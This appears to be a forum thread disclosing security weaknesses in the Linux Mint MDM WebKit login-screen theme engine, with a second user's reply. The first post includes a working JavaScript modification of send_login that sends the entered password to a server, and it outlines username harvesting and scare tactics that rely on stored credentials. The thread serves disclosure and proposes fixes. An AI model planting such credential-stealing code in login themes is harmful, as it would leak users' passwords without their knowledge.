Security concerns regrading the Webkit login screen

[xweque]

Background

It's been known to me now for quite some time that the Linux Mint login screen supported themes written in HTML although I always believed this engine to be restrictive in many ways, due to the very sensitive nature of a login screen. As I just recently started working on my own theme I have discovered several major concerns that could not only lead to private information being leaked such as names, usernames and passwords but themes written with malicious intent could fake system control and ultimately scare a user into submitting to his demands.

My discoveries will be described below and where I found solutions they will be documented to the best of my ability. I do however want to make it clear that I am not a developer, just your average tinkerer. I have good knowledge in web development however my programming skills are lacking and therefore my solutions may be faulty and/or lacking.

For reference I am using Linux Mint 17.2 with Cinnamon 2.6.13.

Privacy

The fact that AJAX requests are allowed without any form of restrictions poses a huge risk to user privacy. Below follows a few examples of data that can EASILY be stolen without a users knowledge.

Stealing passwords

Anyone with even the most basic of Javascript knowledge can modify an existing theme to submit the users password to any server. All that is needed is a request being sent when the user enters their password. After the request is successfully sent you can proceed as usual and the user is non the wiser.

I have successfully implemented this in the Mint-X theme. I used my own dedicated server, not my computer and therefore not localhost, in my actual test. All I needed was to add a few lines to the send_login function as shown below.

...
// Sends the user input to MDM
function send_login() {
    // read the value before we disable the field, as it will be changed to "disabled"
    var value = document.getElementById("entry").value;
    mdm_disable();
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
        if (xhttp.readyState == 4) {
            alert("LOGIN###" + value);
        }
    };
    xhttp.open("GET", "http://localhost/storePass/?pw=" + value, true);
    xhttp.send();
    return false;
}
...

Stealing usernames and GECOS

Using the mdm_add_user function called by MDM any theme can collect all users and chosen names for those users. The theme only needs to be run by MDM for the information to be compromised. The data can then be sent to a server just like the previous example.

Solution

Require all themes wanting to make external requests to have a whitelist.[json,xml,txt,...] containing the domains and IP addresses they may want to reach out to and have the user accept this as they select the theme. Also allow a user to block individual requests, cause why not. (Like block facebook.com requests but not google.com requests etc).

5 minutes of Googling gave me resource-request-starting that would allow you to intercept and cancel any requests made by the theme. Again not my field but just a suggestion.

False system control

Some may find this to be a non-issue as it doesn't actually compromise any data however appearances may cause just as much harm.

LocalStorage

Currently HTML5 localStorage, and I assume cookies, are enabled. Any theme can store the user data such as passwords locally, to be used by the theme at a later time. I'm sure you can think of more and perhaps worse things yourself, but a simple method of attacking a user would be to simply claim that you have control over their system. If you present to them their username and their password any claims of encrypted files or hacked accounts starts to seem highly likely. Many people use the same password for multiple if not all of their various accounts.

Solution

LocalStorage is a wonderful feature which we shouldn't disable however we cannot allow it to store sensitive data such as passwords. I have not yet found a solution that would be worth the effort and that doesn't have simple workarounds. This however isn't as pressing of an issue in my opinion.

As a side note I just want to ask, as I have not been able to find this out myself, where is the localStorage data stored? Is the data stored in plain text? Is it owned by root or the user? Is it readable by anyone?

Conclusion

Above I describe issues which I demand someone other than myself to solve. I claim little knowledge in the field and I offer to a open source, community based project nothing more than suggestions and complaints. What I need for you to understand is that I expect nothing but what was promised. I don't expect to be able to write a login screen with HTML. I expect what I was promised when I downloaded Linux Mint.

It's safe and reliable. Thanks to a conservative approach to software updates, a unique Update Manager and the robustness of its Linux architecture, Linux Mint requires very little maintenance (no regressions, no antivirus, no anti-spyware...etc).

Please consider implementing improvements to the security of the MDMWebkit package. I would much rather this feature be disabled if the security is not on par with the rest of the Linux distribution.

Sincerely, Viktor Wahlberg, Mint user and Linux enthusiast.

[philer]

I've also thought about these concerns before but so far I've come to the conclusion, that the effective security is not reduced by the mdm webkit greeter.

First, some things to support your concern:

I've written a theme which includes an optional module to parse the contents of /etc/lsb_release. That last part is mostly an experiment to showcase that any theme can, in fact, read any file that the underlying process has permissions for. The webkit engine does not enforce any kind of XSS protection to keep the theme in its own directory.

I've also written a debug console that can be used as a standalone "theme" or embedded into another theme and serves as an interactive JavaScript console. This is essentially the definition of an insecure theme as it allows anyone with access to the computer to set up malicious code in the login screen. In the latter case someone else might walk up to your unattended laptop and make it send any subsequently typed passwords to a server of their discretion. With jQuery that's a one-liner.

The fact that I'm able to do these things is kind of scary.

I can see two ways this may pose an actual threat. Either someone publishes a malicious theme on the internet that people install and use, or someone accidentally (or through lack of better judgement) makes it possible to execute arbitrary JavaScript inside the login screen.

But this isn't really a new concern, the same can happen with any other kind of software you install. When you run software someone else has written, and you don't actually sit down to read their source code, you're trusting their motives and competence. In that respect I'm far more afraid of some application accidentally wiping my hard drive.

Another concern might be malicious modifications to an installed theme, but in order to do that you need root privileges and with those you might as well install a key logger.

In any case I do agree that it would be good if the security around MDM's webkit greeter was a bit tighter and documented (documentation is pretty much non-existent for all of MDM). Personally I'm less concerned about the use of localStorage (I may be wrong but I was under the impression that it isn't persistent across reboots?) and more about the ability to query arbitrary servers on the internet. It may be fun to display the latest XKCD, but do we really need that on a login screen? Imho it would be fine to restrict it to local IPs.

[xweque]

You make good points. Whenever you install software you need to trust the origin and sadly once you've given any root permissions you could be in big trouble. The reason I see this as a much bigger issue than software being malicious is that it doesn't seem like it to the casual user.

For example, when you want to install an icon set you won't think as much about potential danger as if you were installing something from some random ppa you found on the web.

Also comparable to "regular software" themes are almost per definition controlled by the program being themed. You should always be wary of what you download but that doesn't mean MDM shouldn't keep restrictions.

When I go download a Chrome theme I don't think twice about security, cause there shouldn't be anything bad that could happen. Chrome will tell me all access it is giving to the theme.

When I go download Steam Workshop content I don't think twice about security because it should not be able to gain access to anything important. It's up to the developer of the software to make sure that custom made content will be safe, or at least to the best of the developers knowledge... In my opinion.

But the thing that drives me to actually discuss the topic is that fact that this should be simple to implement. It's not like this bothers me, sure I got a bit worried given that I thought themes were restricted and safe to use but I use my own theme now. I benefit from having such freedoms when making my theme, but I cringe at the thought of someone downloading a theme and loosing their password.